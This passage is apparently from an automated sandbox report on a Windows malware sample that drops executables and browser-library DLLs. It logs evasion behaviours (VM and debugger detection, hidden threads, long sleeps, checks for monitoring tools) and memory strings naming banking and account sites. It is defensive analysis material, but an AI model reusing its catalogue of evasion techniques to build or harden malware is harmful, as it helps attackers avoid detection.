Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Memory allocated: 7230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Memory allocated: 4D90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Memory allocated: 4F60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Memory allocated: 6F60000 memory reserve \| memory write watch

Contains capabilities to detect virtual machines

Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

Code function: 3_2_04AA0D94 rdtsc

3_2_04AA0D94

Contains long sleeps (>= 3 min)

Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Thread delayed: delay time: 922337203685477

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 371
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Window / User API: threadDelayed 738

Found dropped PE file which has not been started or loaded

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\file.exe TID: 5460	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe TID: 7452	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7748	Thread sleep time: -60030s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7752	Thread sleep time: -60030s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7708	Thread sleep count: 371 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7708	Thread sleep time: -11130000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7728	Thread sleep count: 31 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7728	Thread sleep time: -62031s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7824	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7732	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7708	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe TID: 8020	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe TID: 8016	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe TID: 6600	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe TID: 2740	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe TID: 1224	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe TID: 7388	Thread sleep time: -922337203685477s >= -30000s

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C69EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

4_2_6C69EBF0

Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior

Source: RIHOEX26J337XMDAUSF1C246W.exe, RIHOEX26J337XMDAUSF1C246W.exe, 00000003.00000002.2260970671.0000000000EE2000.00000040.00000001.01000000.00000006.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2468284651.0000000000911000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000005.00000002.2297578694.0000000000452000.00000040.00000001.01000000.00000009.sdmp, DIKGVVY9JNEBJRBXL.exe, 00000006.00000002.2390942123.0000000000931000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000007.00000002.2297614571.0000000000452000.00000040.00000001.01000000.00000009.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2841847202.000000000045D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3027526706.00000000052FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000003.2049716081.0000000001152000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001316000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843118649.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3186529970.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001A.00000002.3139366213.000001EE2A2A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW)
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: firefox.exe, 0000001A.00000002.3136257996.000001EE202A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: RIHOEX26J337XMDAUSF1C246W.exe, 00000003.00000002.2260608230.0000000000646000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3027526706.00000000052FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3186529970.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWE
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2049841334.000000000113A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: DIKGVVY9JNEBJRBXL.exe, 00000006.00000002.2391330030.0000000000993000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: vmCic
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW}
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: RIHOEX26J337XMDAUSF1C246W.exe, 00000003.00000002.2260970671.0000000000EE2000.00000040.00000001.01000000.00000006.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2468284651.0000000000911000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000005.00000002.2297578694.0000000000452000.00000040.00000001.01000000.00000009.sdmp, DIKGVVY9JNEBJRBXL.exe, 00000006.00000002.2390942123.0000000000931000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000007.00000002.2297614571.0000000000452000.00000040.00000001.01000000.00000009.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2841847202.000000000045D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Checks for debuggers (devices)

Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	File opened: SIWVID

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process queried: DebugPort

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

Code function: 3_2_04AA0D94 rdtsc

3_2_04AA0D94

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C76AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_6C76AC62

Enables debug privileges

Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

